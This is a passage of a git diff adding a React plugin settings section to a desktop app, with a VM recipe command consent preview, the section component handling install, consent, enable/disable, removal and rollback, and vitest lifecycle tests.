diff --git a/src/renderer/src/components/settings/PluginVmRecipeConsentPreview.tsx b/src/renderer/src/components/settings/PluginVmRecipeConsentPreview.tsx
new file mode 100644
index 000000000..bece08d74
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginVmRecipeConsentPreview.tsx
@@ -0,0 +1,73 @@
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+
+type VmRecipePreview = NonNullable<PluginHostListEntry['vmRecipes']>[number]
+
+function lifecycleLabel(phase: VmRecipePreview['commands'][number]['phase']): string {
+  switch (phase) {
+    case 'create':
+      return translate('auto.components.settings.PluginVmRecipeConsentPreview.create', 'Create')
+    case 'suspend':
+      return translate('auto.components.settings.PluginVmRecipeConsentPreview.suspend', 'Suspend')
+    case 'resume':
+      return translate('auto.components.settings.PluginVmRecipeConsentPreview.resume', 'Resume')
+    case 'destroy':
+      return translate('auto.components.settings.PluginVmRecipeConsentPreview.destroy', 'Destroy')
+  }
+}
+
+export function PluginVmRecipeConsentPreview({
+  recipes
+}: {
+  recipes: readonly VmRecipePreview[]
+}): React.JSX.Element | null {
+  if (recipes.length === 0) {
+    return null
+  }
+  return (
+    <section className="space-y-3" aria-labelledby="plugin-vm-recipe-consent-heading">
+      <h3
+        id="plugin-vm-recipe-consent-heading"
+        className="text-[11px] font-semibold uppercase tracking-[0.05em] text-muted-foreground"
+      >
+        {translate(
+          'auto.components.settings.PluginVmRecipeConsentPreview.heading',
+          'VM recipe commands'
+        )}
+      </h3>
+      {recipes.map((recipe) => (
+        <div key={recipe.id} className="space-y-2 rounded-md border border-border p-3">
+          <div>
+            <p className="text-sm font-medium">{recipe.name}</p>
+            {recipe.description ? (
+              <p className="text-xs leading-5 text-muted-foreground">{recipe.description}</p>
+            ) : null}
+          </div>
+          <dl className="space-y-2">
+            {recipe.commands.map(({ phase, command }) => {
+              const phaseLabel = lifecycleLabel(phase)
+              return (
+                <div key={phase}>
+                  <dt className="mb-1 text-xs text-muted-foreground">{phaseLabel}</dt>
+                  <dd>
+                    <pre
+                      tabIndex={0}
+                      aria-label={translate(
+                        'auto.components.settings.PluginVmRecipeConsentPreview.commandLabel',
+                        '{{value0}} · {{value1}} command',
+                        { value0: recipe.name, value1: phaseLabel }
+                      )}
+                      className="max-h-40 overflow-auto scrollbar-sleek whitespace-pre-wrap break-all rounded-md bg-muted px-2.5 py-2 font-mono text-xs leading-5 text-foreground"
+                    >
+                      {command}
+                    </pre>
+                  </dd>
+                </div>
+              )
+            })}
+          </dl>
+        </div>
+      ))}
+    </section>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginsSettingsSection.lifecycle.test.tsx b/src/renderer/src/components/settings/PluginsSettingsSection.lifecycle.test.tsx
new file mode 100644
index 000000000..db7315181
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginsSettingsSection.lifecycle.test.tsx
@@ -0,0 +1,541 @@
+// @vitest-environment happy-dom
+
+import { act, useState } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { getDefaultSettings } from '../../../../shared/constants'
+import type { GlobalSettings } from '../../../../shared/types'
+import { PluginsSettingsSection } from './PluginsSettingsSection'
+
+vi.mock('./SettingsSection', () => ({
+  SettingsSection: ({
+    children,
+    headerAction
+  }: {
+    children: React.ReactNode
+    headerAction: React.ReactNode
+  }) => (
+    <section>
+      {headerAction}
+      {children}
+    </section>
+  )
+}))
+
+vi.mock('../ui/dropdown-menu', () => ({
+  DropdownMenu: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+  DropdownMenuTrigger: ({ children }: { children: React.ReactNode }) => <>{children}</>,
+  DropdownMenuContent: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+  DropdownMenuItem: ({
+    children,
+    onSelect
+  }: {
+    children: React.ReactNode
+    onSelect?: () => void
+  }) => <button onClick={onSelect}>{children}</button>
+}))
+
+vi.mock('./PluginInstallDialog', () => ({ PluginInstallDialog: () => null }))
+vi.mock('./PluginMarketplaceBrowser', () => ({
+  PluginMarketplaceBrowser: ({
+    renderInstalledContent
+  }: {
+    renderInstalledContent?: (search: string) => React.ReactNode
+  }) => <>{renderInstalledContent?.('')}</>
+}))
+vi.mock('./PluginConsentDialog', () => ({
+  PluginConsentDialog: ({
+    plugin,
+    onDecision
+  }: {
+    plugin: PluginHostListEntry | null
+    onDecision: (key: string, reviewedFingerprint: string, decision: 'approve') => Promise<void>
+  }) => {
+    const [dirty, setDirty] = useState(false)
+    return plugin ? (
+      <>
+        <button
+          onClick={() =>
+            void onDecision(plugin.pluginKey, plugin.consentFingerprint ?? '', 'approve')
+          }
+        >
+          Approve
+        </button>
+        <button onClick={() => setDirty(true)}>Mark consent dirty</button>
+        {dirty ? <span>Consent local state</span> : null}
+      </>
+    ) : null
+  }
+}))
+vi.mock('./PluginRemoveDialog', () => ({
+  PluginRemoveDialog: ({
+    plugin,
+    onConfirm
+  }: {
+    plugin: PluginHostListEntry | null
+    onConfirm: (key: string) => void
+  }) =>
+    plugin ? <button onClick={() => onConfirm(plugin.pluginKey)}>Confirm remove</button> : null
+}))
+vi.mock('./PluginRollbackDialog', () => ({
+  PluginRollbackDialog: ({
+    plugin,
+    onConfirm
+  }: {
+    plugin: PluginHostListEntry | null
+    onConfirm: (key: string) => void
+  }) =>
+    plugin ? <button onClick={() => onConfirm(plugin.pluginKey)}>Confirm rollback</button> : null
+}))
+
+const plugin: PluginHostListEntry = {
+  pluginKey: 'acme.notes',
+  consentFingerprint: 'sha256-acme-notes',
+  name: 'Notes',
+  version: '1.0.0',
+  publisher: 'acme',
+  status: 'idle',
+  needsReconsent: false,
+  isDev: false,
+  official: false,
+  bundled: false,
+  capabilities: [{ kind: 'panels', description: 'Add a Notes panel' }],
+  panels: [],
+  commands: [],
+  hasWorker: false,
+  restarts: 0
+}
+
+const secondPlugin: PluginHostListEntry = {
+  ...plugin,
+  pluginKey: 'acme.tasks',
+  consentFingerprint: 'sha256-acme-tasks',
+  name: 'Tasks'
+}
+
+type Deferred<T> = {
+  promise: Promise<T>
+  resolve: (value: T) => void
+}
+
+function deferred<T>(): Deferred<T> {
+  let resolve!: (value: T) => void
+  const promise = new Promise<T>((nextResolve) => {
+    resolve = nextResolve
+  })
+  return { promise, resolve }
+}
+
+function click(element: Element): void {
+  element.dispatchEvent(new MouseEvent('click', { bubbles: true }))
+}
+
+async function renderSection(
+  settings: GlobalSettings = { ...getDefaultSettings('/tmp'), pluginSystemEnabled: true },
+  updateSettings = vi.fn().mockResolvedValue(undefined),
+  mounted = true
+): Promise<{ root: Root; container: HTMLDivElement; updateSettings: typeof updateSettings }> {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container)
+  await act(async () => {
+    root.render(
+      <PluginsSettingsSection
+        mounted={mounted}
+        settings={settings}
+        updateSettings={updateSettings}
+      />
+    )
+  })
+  return { root, container, updateSettings }
+}
+
+function installApi(overrides: Record<string, unknown> = {}): {
+  unsubscribe: ReturnType<typeof vi.fn>
+} {
+  const unsubscribe = vi.fn()
+  Object.defineProperty(window, 'api', {
+    configurable: true,
+    value: {
+      plugins: {
+        list: vi.fn().mockResolvedValue([plugin]),
+        onChanged: vi.fn().mockReturnValue(unsubscribe),
+        refresh: vi.fn().mockResolvedValue([plugin]),
+        setEnabled: vi.fn().mockResolvedValue([{ ...plugin, status: 'disabled' }]),
+        remove: vi.fn().mockResolvedValue([]),
+        getLogs: vi.fn().mockResolvedValue([]),
+        consent: vi.fn().mockResolvedValue([plugin]),
+        install: vi.fn(),
+        rollbackMarketplacePlugin: vi.fn().mockResolvedValue({
+          ok: true,
+          pluginKey: plugin.pluginKey,
+          version: plugin.version,
+          contentHash: 'previous-content',
+          consentFingerprint: plugin.consentFingerprint,
+          resolvedCommit: 'previous-commit'
+        }),
+        ...overrides
+      }
+    }
+  })
+  return { unsubscribe }
+}
+
+beforeEach(() => installApi())
+
+afterEach(() => {
+  document.body.innerHTML = ''
+  vi.restoreAllMocks()
+})
+
+describe('PluginsSettingsSection lifecycle', () => {
+  it('defers discovery and its change listener until the pane is mounted', async () => {
+    const settings = { ...getDefaultSettings('/tmp'), pluginSystemEnabled: true }
+    const updateSettings = vi.fn().mockResolvedValue(undefined)
+    const { root } = await renderSection(settings, updateSettings, false)
+
+    expect(window.api.plugins.list).not.toHaveBeenCalled()
+    expect(window.api.plugins.onChanged).not.toHaveBeenCalled()
+
+    await act(async () => {
+      root.render(
+        <PluginsSettingsSection mounted settings={settings} updateSettings={updateSettings} />
+      )
+    })
+
+    expect(window.api.plugins.list).toHaveBeenCalledOnce()
+    expect(window.api.plugins.onChanged).toHaveBeenCalledOnce()
+  })
+
+  it('suppresses stale lists and cleans up the change subscription', async () => {
+    const first = deferred<PluginHostListEntry[]>()
+    const second = deferred<PluginHostListEntry[]>()
+    let onChanged: (() => void) | undefined
+    const { unsubscribe } = installApi({
+      list: vi.fn().mockReturnValueOnce(first.promise).mockReturnValueOnce(second.promise),
+      onChanged: vi.fn((callback: () => void) => {
+        onChanged = callback
+        return unsubscribe
+      })
+    })
+    const { root, container } = await renderSection()
+
+    act(() => onChanged?.())
+    await act(async () => second.resolve([{ ...plugin, name: 'Newer Notes' }]))
+    await act(async () => first.resolve([{ ...plugin, name: 'Older Notes' }]))
+
+    expect(container.textContent).toContain('Newer Notes')
+    expect(container.textContent).not.toContain('Older Notes')
+    act(() => root.unmount())
+    expect(unsubscribe).toHaveBeenCalledOnce()
+  })
+
+  it('persists the feature switch before refreshing discovery', async () => {
+    const updateSettings = vi.fn().mockResolvedValue(undefined)
+    const { container } = await renderSection(
+      { ...getDefaultSettings('/tmp'), pluginSystemEnabled: false },
+      updateSettings
+    )
+    const featureSwitch = container.querySelector('[aria-labelledby="plugin-system-label"]')
+    if (!featureSwitch) {
+      throw new Error('missing feature switch')
+    }
+    expect(window.api.plugins.list).not.toHaveBeenCalled()
+
+    await act(async () => click(featureSwitch))
+
+    expect(updateSettings).toHaveBeenCalledWith({ pluginSystemEnabled: true })
+    expect(window.api.plugins.refresh).toHaveBeenCalledOnce()
+  })
+
+  it('routes enablement and confirmed removal through plugin IPC', async () => {
+    const { container } = await renderSection()
+    const pluginSwitch = container.querySelector('[aria-label="Disable Notes"]')
+    if (!pluginSwitch) {
+      throw new Error('missing plugin switch')
+    }
+
+    await act(async () => click(pluginSwitch))
+    expect(window.api.plugins.setEnabled).toHaveBeenCalledWith({
+      pluginKey: plugin.pluginKey,
+      enabled: false
+    })
+    await act(async () => click(pluginSwitch))
+    expect(window.api.plugins.setEnabled).toHaveBeenLastCalledWith({
+      pluginKey: plugin.pluginKey,
+      enabled: true
+    })
+
+    const removeAction = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Remove'
+    )
+    if (!removeAction) {
+      throw new Error('missing remove action')
+    }
+    await act(async () => click(removeAction))
+    const confirm = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Confirm remove'
+    )
+    if (!confirm) {
+      throw new Error('missing remove confirmation')
+    }
+    await act(async () => click(confirm))
+    expect(window.api.plugins.remove).toHaveBeenCalledWith({ pluginKey: plugin.pluginKey })
+  })
+
+  it('confirms marketplace rollback before invoking plugin IPC', async () => {
+    const marketplacePlugin: PluginHostListEntry = {
+      ...plugin,
+      source: {
+        kind: 'marketplace',
+        reference: 'https://example.com/notes.git',
+        resolvedCommit: 'current-commit',
+        contentHash: 'current-content',
+        marketplace: {
+          reference: 'https://example.com/marketplace.git',
+          resolvedCommit: 'marketplace-commit'
+        }
+      }
+    }
+    installApi({ list: vi.fn().mockResolvedValue([marketplacePlugin]) })
+    const { container } = await renderSection()
+    const rollbackAction = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Roll back'
+    )
+    if (!rollbackAction) {
+      throw new Error('missing rollback action')
+    }
+
+    await act(async () => click(rollbackAction))
+    expect(window.api.plugins.rollbackMarketplacePlugin).not.toHaveBeenCalled()
+    const confirm = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Confirm rollback'
+    )
+    if (!confirm) {
+      throw new Error('missing rollback confirmation')
+    }
+    await act(async () => click(confirm))
+
+    expect(window.api.plugins.rollbackMarketplacePlugin).toHaveBeenCalledWith({
+      pluginKey: plugin.pluginKey
+    })
+  })
+
+  it('accepts overlapping mutations in completion order without regressing final state', async () => {
+    const firstToggle = deferred<PluginHostListEntry[]>()
+    const secondToggle = deferred<PluginHostListEntry[]>()
+    installApi({
+      list: vi.fn().mockResolvedValue([plugin, secondPlugin]),
+      setEnabled: vi
+        .fn()
+        .mockReturnValueOnce(firstToggle.promise)
+        .mockReturnValueOnce(secondToggle.promise)
+    })
+    const { container } = await renderSection()
+    const notesSwitch = container.querySelector<HTMLButtonElement>('[aria-label="Disable Notes"]')
+    const tasksSwitch = container.querySelector<HTMLButtonElement>('[aria-label="Disable Tasks"]')
+    if (!notesSwitch || !tasksSwitch) {
+      throw new Error('missing plugin switches')
+    }
+
+    act(() => click(notesSwitch))
+    act(() => click(tasksSwitch))
+    expect(notesSwitch.disabled).toBe(true)
+    expect(tasksSwitch.disabled).toBe(true)
+
+    await act(async () => secondToggle.resolve([plugin, { ...secondPlugin, status: 'disabled' }]))
+
+    expect(notesSwitch.disabled).toBe(true)
+    expect(tasksSwitch.disabled).toBe(false)
+    await act(async () =>
+      firstToggle.resolve([
+        { ...plugin, status: 'disabled' },
+        { ...secondPlugin, status: 'disabled' }
+      ])
+    )
+    expect(notesSwitch.disabled).toBe(false)
+    expect(notesSwitch.getAttribute('aria-checked')).toBe('false')
+    expect(tasksSwitch.getAttribute('aria-checked')).toBe('false')
+  })
+
+  it('fetches bounded logs only when their disclosure opens', async () => {
+    const getLogs = vi.fn().mockResolvedValue([{ ts: 1, level: 'info', line: 'started' }])
+    installApi({ getLogs })
+    const { container } = await renderSection()
+    expect(getLogs).not.toHaveBeenCalled()
+    const viewLogs = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'View logs'
+    )
+    if (!viewLogs) {
+      throw new Error('missing logs action')
+    }
+
+    await act(async () => click(viewLogs))
+
+    expect(getLogs).toHaveBeenCalledWith({ pluginKey: plugin.pluginKey })
+    expect(container.textContent).toContain('started')
+  })
+
+  it('shows supervised backoff as an enabled restarting plugin', async () => {
+    installApi({
+      list: vi.fn().mockResolvedValue([{ ...plugin, status: 'restarting', restarts: 1 }])
+    })
+    const { container } = await renderSection()
+    const pluginSwitch = container.querySelector<HTMLButtonElement>('[aria-label="Disable Notes"]')
+
+    expect(container.textContent).toContain('Restarting')
+    expect(pluginSwitch?.getAttribute('aria-checked')).toBe('true')
+  })
+
+  it('prunes dialogs and stale logs after external removal and same-key reinstall', async () => {
+    const removedList = deferred<PluginHostListEntry[]>()
+    const reinstalledList = deferred<PluginHostListEntry[]>()
+    const oldLogs = deferred<Awaited<ReturnType<typeof window.api.plugins.getLogs>>>()
+    const freshLogs = deferred<Awaited<ReturnType<typeof window.api.plugins.getLogs>>>()
+    const pendingPlugin = { ...plugin, status: 'pending' as const }
+    let onChanged: (() => void) | undefined
+    const unsubscribe = vi.fn()
+    installApi({
+      list: vi
+        .fn()
+        .mockResolvedValueOnce([pendingPlugin])
+        .mockReturnValueOnce(removedList.promise)
+        .mockReturnValueOnce(reinstalledList.promise),
+      onChanged: vi.fn((callback: () => void) => {
+        onChanged = callback
+        return unsubscribe
+      }),
+      getLogs: vi.fn().mockReturnValueOnce(oldLogs.promise).mockReturnValueOnce(freshLogs.promise)
+    })
+    const { container } = await renderSection()
+    const findButton = (label: string): HTMLButtonElement | undefined =>
+      Array.from(container.querySelectorAll('button')).find(
+        (button) => button.textContent?.trim() === label
+      )
+
+    act(() => click(findButton('Review & enable')!))
+    act(() => click(findButton('Mark consent dirty')!))
+    act(() => click(findButton('View logs')!))
+    act(() => click(findButton('Remove')!))
+    expect(container.textContent).toContain('Consent local state')
+    expect(container.textContent).toContain('Confirm remove')
+
+    act(() => onChanged?.())
+    await act(async () => removedList.resolve([]))
+
+    expect(container.textContent).not.toContain('Approve')
+    expect(container.textContent).not.toContain('Confirm remove')
+    act(() => onChanged?.())
+    await act(async () => reinstalledList.resolve([pendingPlugin]))
+    expect(container.textContent).not.toContain('Loading logs…')
+
+    act(() => click(findButton('Review & enable')!))
+    expect(container.textContent).not.toContain('Consent local state')
+    act(() => click(findButton('View logs')!))
+    await act(async () => freshLogs.resolve([{ ts: 2, level: 'info', line: 'fresh installation' }]))
+    await act(async () => oldLogs.resolve([{ ts: 1, level: 'info', line: 'stale installation' }]))
+
+    expect(container.textContent).toContain('fresh installation')
+    expect(container.textContent).not.toContain('stale installation')
+  })
+
+  it('clears feature busy state and skips refresh when the setting write fails', async () => {
+    const updateSettings = vi.fn().mockRejectedValue(new Error('disk write failed'))
+    const { container } = await renderSection(
+      { ...getDefaultSettings('/tmp'), pluginSystemEnabled: false },
+      updateSettings
+    )
+    const featureSwitch = container.querySelector<HTMLButtonElement>(
+      '[aria-labelledby="plugin-system-label"]'
+    )
+    if (!featureSwitch) {
+      throw new Error('missing feature switch')
+    }
+
+    await act(async () => click(featureSwitch))
+
+    expect(featureSwitch.disabled).toBe(false)
+    expect(window.api.plugins.refresh).not.toHaveBeenCalled()
+    expect(container.textContent).toContain('Could not save plugin settings.')
+  })
+
+  it('persists verbatim development paths and refreshes discovery', async () => {
+    const updateSettings = vi.fn().mockResolvedValue(undefined)
+    const { container } = await renderSection(undefined, updateSettings)
+    const input = container.querySelector<HTMLInputElement>('details input')
+    if (!input) {
+      throw new Error('missing development path input')
+    }
+    await act(async () => {
+      Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call(
+        input,
+        'C:\\plugins\\demo'
+      )
+      input.dispatchEvent(new Event('input', { bubbles: true }))
+    })
+    const add = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Add path'
+    )
+    if (!add) {
+      throw new Error('missing add path action')
+    }
+
+    await act(async () => click(add))
+
+    expect(updateSettings).toHaveBeenCalledWith({ devPluginPaths: ['C:\\plugins\\demo'] })
+    expect(window.api.plugins.refresh).toHaveBeenCalled()
+  })
+
+  it('preserves development input and clears busy when adding a path fails', async () => {
+    const updateSettings = vi.fn().mockRejectedValue(new Error('disk write failed'))
+    const { container } = await renderSection(undefined, updateSettings)
+    const input = container.querySelector<HTMLInputElement>('details input')
+    if (!input) {
+      throw new Error('missing development path input')
+    }
+    await act(async () => {
+      Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call(
+        input,
+        '/plugins/demo'
+      )
+      input.dispatchEvent(new Event('input', { bubbles: true }))
+    })
+    const add = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Add path'
+    )
+    if (!add) {
+      throw new Error('missing add path action')
+    }
+
+    await act(async () => click(add))
+
+    expect(input.value).toBe('/plugins/demo')
+    expect(add.disabled).toBe(false)
+    expect(window.api.plugins.refresh).not.toHaveBeenCalled()
+    expect(container.textContent).toContain('Could not save plugin settings.')
+  })
+
+  it('keeps a development path and handles a failed removal without rejection', async () => {
+    const updateSettings = vi.fn().mockRejectedValue(new Error('disk write failed'))
+    const settings = {
+      ...getDefaultSettings('/tmp'),
+      pluginSystemEnabled: true,
+      devPluginPaths: ['/plugins/demo']
+    }
+    const { container } = await renderSection(settings, updateSettings)
+    const remove = Array.from(container.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Remove' && button.closest('details')
+    )
+    if (!remove) {
+      throw new Error('missing development path remove action')
+    }
+
+    await act(async () => click(remove))
+
+    expect(container.textContent).toContain('/plugins/demo')
+    expect(remove.disabled).toBe(false)
+    expect(window.api.plugins.refresh).not.toHaveBeenCalled()
+    expect(container.textContent).toContain('Could not save plugin settings.')
+  })
+})
diff --git a/src/renderer/src/components/settings/PluginsSettingsSection.tsx b/src/renderer/src/components/settings/PluginsSettingsSection.tsx
new file mode 100644
index 000000000..30b54aa42
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginsSettingsSection.tsx
@@ -0,0 +1,365 @@
+import { useEffect, useRef, useState } from 'react'
+import { Plus } from 'lucide-react'
+import type { PluginHostInstallSource, PluginHostListEntry } from '../../../../preload/api-types'
+import type { GlobalSettings } from '../../../../shared/types'
+import { translate } from '@/i18n/i18n'
+import { Button } from '../ui/button'
+import { PluginConsentDialog } from './PluginConsentDialog'
+import { PluginInstallDialog } from './PluginInstallDialog'
+import { PluginRemoveDialog } from './PluginRemoveDialog'
+import { PluginRollbackDialog } from './PluginRollbackDialog'
+import { PluginSettingsOverview } from './PluginSettingsOverview'
+import { getPluginsSectionPresentation } from './plugins-search'
+import { SettingsSection } from './SettingsSection'
+import { usePluginLogs } from './use-plugin-logs'
+import { usePluginMarketplaceLifecycle } from './use-plugin-marketplace-lifecycle'
+
+type PluginsSettingsSectionProps = {
+  mounted: boolean
+  settings: GlobalSettings
+  updateSettings: (updates: Partial<GlobalSettings>) => Promise<void>
+}
+
+function errorMessage(cause: unknown, fallback: string): string {
+  console.warn('[plugins] settings action failed:', cause)
+  return fallback
+}
+
+export function PluginsSettingsSection({
+  mounted,
+  settings,
+  updateSettings
+}: PluginsSettingsSectionProps): React.JSX.Element {
+  const [plugins, setPlugins] = useState<PluginHostListEntry[]>([])
+  const [loading, setLoading] = useState(true)
+  const [error, setError] = useState<string | null>(null)
+  const [installOpen, setInstallOpen] = useState(false)
+  const [consentPluginId, setConsentPluginId] = useState<string | null>(null)
+  const [removePluginId, setRemovePluginId] = useState<string | null>(null)
+  const [busyPluginKeys, setBusyPluginKeys] = useState<Set<string>>(() => new Set())
+  const [featureBusy, setFeatureBusy] = useState(false)
+  const [devPathsBusy, setDevPathsBusy] = useState(false)
+  const [settingsError, setSettingsError] = useState<string | null>(null)
+  const mountedRef = useRef(false)
+  const listRequestRef = useRef(0)
+
+  const applyPluginList = (nextPlugins: PluginHostListEntry[]): void => {
+    const installedPluginKeys = new Set(nextPlugins.map((plugin) => plugin.pluginKey))
+    setPlugins(nextPlugins)
+    setError(null)
+    // Why: accepted discovery results own installed-plugin identity and invalidate stale UI state.
+    setConsentPluginId((current) => (current && installedPluginKeys.has(current) ? current : null))
+    setRemovePluginId((current) => (current && installedPluginKeys.has(current) ? current : null))
+    setBusyPluginKeys(
+      (current) => new Set([...current].filter((pluginKey) => installedPluginKeys.has(pluginKey)))
+    )
+  }
+
+  const setPluginListError = (cause: unknown): void => {
+    setError(
+      errorMessage(
+        cause,
+        translate(
+          'auto.components.settings.PluginsSettingsSection.loadFailed',
+          'Could not load plugins.'
+        )
+      )
+    )
+  }
+
+  const loadPluginList = async (
+    request: Promise<PluginHostListEntry[]>
+  ): Promise<PluginHostListEntry[] | null> => {
+    const requestId = ++listRequestRef.current
+    try {
+      const nextPlugins = await request
+      if (!mountedRef.current || requestId !== listRequestRef.current) {
+        return null
+      }
+      applyPluginList(nextPlugins)
+      return nextPlugins
+    } catch (cause) {
+      if (mountedRef.current && requestId === listRequestRef.current) {
+        setPluginListError(cause)
+      }
+      return null
+    }
+  }
+
+  const applyCompletedMutation = (nextPlugins: PluginHostListEntry[]): void => {
+    if (!mountedRef.current) {
+      return
+    }
+    // Why: a mutation result is authoritative at completion time, even when an earlier action
+    // finishes after a later-started action or a passive refresh is still in flight.
+    listRequestRef.current += 1
+    applyPluginList(nextPlugins)
+  }
+
+  useEffect(() => {
+    mountedRef.current = mounted
+    if (!mounted) {
+      // Why: hidden lazy panes must not resurrect dialogs or unresolved async state when reopened.
+      setPlugins([])
+      setLoading(true)
+      setError(null)
+      setInstallOpen(false)
+      setConsentPluginId(null)
+      setRemovePluginId(null)
+      setBusyPluginKeys(new Set())
+      setFeatureBusy(false)
+      setDevPathsBusy(false)
+      setSettingsError(null)
+    }
+    return () => {
+      mountedRef.current = false
+      listRequestRef.current += 1
+    }
+  }, [mounted])
+
+  useEffect(() => {
+    if (!mounted || !settings.pluginSystemEnabled) {
+      return
+    }
+    setLoading(true)
+    const load = async (): Promise<void> => {
+      await loadPluginList(window.api.plugins.list())
+      if (mountedRef.current) {
+        setLoading(false)
+      }
+    }
+    void load()
+    const unsubscribe = window.api.plugins.onChanged(() => {
+      void loadPluginList(window.api.plugins.list())
+    })
+    return () => {
+      listRequestRef.current += 1
+      unsubscribe()
+    }
+  }, [mounted, settings.pluginSystemEnabled])
+
+  const marketplaceLifecycle = usePluginMarketplaceLifecycle({
+    mounted,
+    mountedRef,
+    plugins,
+    applyCompletedMutation,
+    setPluginListError,
+    setConsentPluginId,
+    setBusyPluginKeys
+  })
+  const pluginLogs = usePluginLogs(mounted, mountedRef, plugins)
+
+  const sectionPresentation = getPluginsSectionPresentation()
+
+  if (!mounted) {
+    return <SettingsSection id="plugins" {...sectionPresentation} />
+  }
+
+  const selectedConsentPlugin =
+    plugins.find((plugin) => plugin.pluginKey === consentPluginId) ?? null
+  const consentPlugin = selectedConsentPlugin?.consentFingerprint ? selectedConsentPlugin : null
+  const removePlugin = plugins.find((plugin) => plugin.pluginKey === removePluginId) ?? null
+
+  const toggleFeature = async (): Promise<void> => {
+    setFeatureBusy(true)
+    setSettingsError(null)
+    setError(null)
+    try {
+      await updateSettings({ pluginSystemEnabled: !settings.pluginSystemEnabled })
+      await loadPluginList(window.api.plugins.refresh())
+    } catch {
+      if (mountedRef.current) {
+        setSettingsError(
+          translate(
+            'auto.components.settings.PluginsSettingsSection.settingsUpdateFailed',
+            'Could not save plugin settings.'
+          )
+        )
+      }
+    } finally {
+      if (mountedRef.current) {
+        setFeatureBusy(false)
+      }
+    }
+  }
+
+  const install = async (source: PluginHostInstallSource): Promise<void> => {
+    const result = await window.api.plugins.install(source)
+    if (!result.ok) {
+      throw new Error(result.error)
+    }
+    // Why: installation is not consent; select by id and wait for the authoritative list.
+    setInstallOpen(false)
+    setConsentPluginId(result.pluginKey)
+    await loadPluginList(window.api.plugins.refresh())
+  }
+
+  const decideConsent = async (
+    pluginKey: string,
+    reviewedFingerprint: string,
+    decision: 'approve' | 'keep-disabled'
+  ): Promise<void> => {
+    setBusyPluginKeys((current) => new Set(current).add(pluginKey))
+    try {
+      const nextPlugins = await window.api.plugins.consent({
+        pluginKey,
+        reviewedFingerprint,
+        decision
+      })
+      applyCompletedMutation(nextPlugins)
+      if (mountedRef.current) {
+        setConsentPluginId(null)
+      }
+    } finally {
+      if (mountedRef.current) {
+        setBusyPluginKeys((current) => {
+          const next = new Set(current)
+          next.delete(pluginKey)
+          return next
+        })
+      }
+    }
+  }
+
+  const toggleEnabled = async (plugin: PluginHostListEntry): Promise<void> => {
+    const enabled =
+      plugin.status === 'running' ||
+      plugin.status === 'restarting' ||
+      plugin.status === 'idle' ||
+      plugin.status === 'errored'
+    setBusyPluginKeys((current) => new Set(current).add(plugin.pluginKey))
+    try {
+      const nextEnabled = !enabled
+      const nextPlugins = await window.api.plugins.setEnabled({
+        pluginKey: plugin.pluginKey,
+        enabled: nextEnabled
+      })
+      applyCompletedMutation(nextPlugins)
+    } catch (cause) {
+      if (mountedRef.current) {
+        setPluginListError(cause)
+      }
+    } finally {
+      if (mountedRef.current) {
+        setBusyPluginKeys((current) => {
+          const next = new Set(current)
+          next.delete(plugin.pluginKey)
+          return next
+        })
+      }
+    }
+  }
+
+  const remove = async (pluginKey: string): Promise<void> => {
+    setBusyPluginKeys((current) => new Set(current).add(pluginKey))
+    try {
+      const nextPlugins = await window.api.plugins.remove({ pluginKey })
+      applyCompletedMutation(nextPlugins)
+      if (mountedRef.current) {
+        setRemovePluginId(null)
+      }
+    } catch (cause) {
+      if (mountedRef.current) {
+        setPluginListError(cause)
+      }
+    } finally {
+      if (mountedRef.current) {
+        setBusyPluginKeys((current) => {
+          const next = new Set(current)
+          next.delete(pluginKey)
+          return next
+        })
+      }
+    }
+  }
+
+  const refresh = async (): Promise<void> => {
+    await loadPluginList(window.api.plugins.refresh())
+  }
+
+  const updateDevPaths = async (paths: string[]): Promise<void> => {
+    setDevPathsBusy(true)
+    setSettingsError(null)
+    try {
+      await updateSettings({ devPluginPaths: paths })
+      await loadPluginList(window.api.plugins.refresh())
+    } catch {
+      const message = translate(
+        'auto.components.settings.PluginsSettingsSection.settingsUpdateFailed',
+        'Could not save plugin settings.'
+      )
+      if (mountedRef.current) {
+        setSettingsError(message)
+      }
+      throw new Error(message)
+    } finally {
+      if (mountedRef.current) {
+        setDevPathsBusy(false)
+      }
+    }
+  }
+
+  const featureEnabled = settings.pluginSystemEnabled
+  return (
+    <SettingsSection
+      id="plugins"
+      {...sectionPresentation}
+      headerAction={
+        <Button
+          variant="outline"
+          size="sm"
+          disabled={!featureEnabled || featureBusy}
+          onClick={() => setInstallOpen(true)}
+        >
+          <Plus />
+          {translate('auto.components.settings.PluginsSettingsSection.install', 'Install plugin')}
+        </Button>
+      }
+    >
+      <PluginSettingsOverview
+        featureEnabled={featureEnabled}
+        featureBusy={featureBusy}
+        settingsError={settingsError}
+        loading={loading}
+        error={error}
+        plugins={plugins}
+        busyPluginKeys={busyPluginKeys}
+        openLogs={pluginLogs.openLogs}
+        logsByPlugin={pluginLogs.logsByPlugin}
+        devPaths={settings.devPluginPaths}
+        devPathsBusy={devPathsBusy}
+        onToggleFeature={() => void toggleFeature()}
+        onRefresh={refresh}
+        onReview={setConsentPluginId}
+        onToggleEnabled={(entry) => void toggleEnabled(entry)}
+        onToggleLogs={pluginLogs.toggleLogs}
+        onMarketplaceInstalled={marketplaceLifecycle.reloadAfterMutation}
+        onRollbackRequest={marketplaceLifecycle.requestRollback}
+        onRemoveRequest={setRemovePluginId}
+        onUpdateDevPaths={updateDevPaths}
+      />
